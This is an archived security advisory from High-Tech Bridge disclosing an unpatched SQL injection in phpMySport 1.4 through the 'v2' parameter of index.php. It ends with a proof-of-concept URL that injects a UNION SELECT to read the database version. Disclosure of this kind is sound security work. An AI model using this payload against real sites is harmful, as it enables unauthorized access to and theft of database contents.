[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

SQL Injection in phpMySport



Vulnerability ID: HTB22772
Reference: http://www.htbridge.ch/advisory/sql_injection_in_phpmysport_2.html
Product: phpMySport
Vendor: phpMySport ( http://phpmysport.sourceforge.net/ ) 
Vulnerable Version: 1.4
Vendor Notification: 21 December 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "v2" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/index.php?r=member&v1=view&v2=123%27%20union%20select%201,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%201